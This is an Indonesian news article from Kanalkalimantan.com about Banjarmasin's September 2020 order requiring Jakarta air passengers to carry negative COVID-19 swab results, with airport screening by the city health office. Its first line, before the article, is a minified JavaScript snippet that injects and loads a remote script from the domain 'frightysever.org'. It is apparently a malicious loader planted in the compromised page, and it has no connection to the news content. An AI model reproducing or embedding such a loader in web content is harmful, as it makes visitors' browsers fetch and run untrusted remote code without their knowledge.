(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wali Kota Banjarmasin H. Ibnu Sina mengeluarkan Instruksi Wali Kota Banjarmasin Nomor 3 Tahun 2020 tentang Upaya Mitigasi Lonjakan Kasus Covid-19 di Kota Banjarmasin, yang dikeluarkan pada Selasa (15/9/2020).
Salah satu poinnya adalah pelaksanaan swab bagi penumpang pesawat udara dari Jakarta menuju Banjarmasin melalui Bandara Internasional Syamsudin Noor Banjarmasin di Banjarbaru.
“Kepada setiap orang yang akan melakukan perjalanan dari Jakarta menuju Banjarmasin dipersyaratkan untuk membawa hasil swab negatif.
Apabila hasil swab positif harus masuk ke rumah karantina yang disediakan pemerintah,” kata Ibnu dalam instruksi ini.
Guna menindaklanjuti instruksi ini, Dinas Kesehatan Kota Banjarmasin pun menggelar swab bagi penumpang pesawat udara dari Jakarta. Pelaksanaan swab sendiri dimulai sejak Selasa (15/9/2020) pagi.
“Kita menyikapi hal tersebut dengan melakukan skrining lebih awal di bandara, dengan melakukan penghadangan terhadap semua pelaku perjalanan khususnya dari Jakarta,” kata Kepala Dinas Kesehatan Kota Banjarmasin Dr. Machli Riyadi di Bandara Internasional Syamsudin Noor Banjarmasin di Banjarbaru.
Skrining sekaligus pengambilan swab sendiri dilakukan di ruang kedatangan domestik bandara yang menjadi pintu gerbang Provinsi Kalsel ini. Terutama, bagi penumpang pesawat udara yang tak mengantongi hasil swab negatif Covid-19.
“Kita sekaligus juga melakukan swab bagi mereka yang tidak mengantongi surat keterangan telah memiliki hasil swab dengan hasil negatif,” imbuh mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum ini.
Upaya ini sendiri harus dilakukan, sebagai upaya manajemen risiko sedini mungkin terhadap penambahan kasus positif Covid-19 di Kota Banjarmasin. Sehingga, dapat mencegah terjadinya gelombang kedua (second wave) penyebaran Covid-19 di Kota Banjarmasin yang tidak disadari.
“Sementara kita tahu bahwa Jakarta sudah menarik remnya terkait kondisi darurat yang dilakukan oleh Gubernur Anies Baswedan.
Sehingga upaya ini bertujuan untuk memutus mata rantai penularan dan melakukan advokasi terhadap masyarakat Kota Banjarmasin,” pungkas Machli. (Kanalkalimantan.com/fikri)
Reporter: Fikri
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.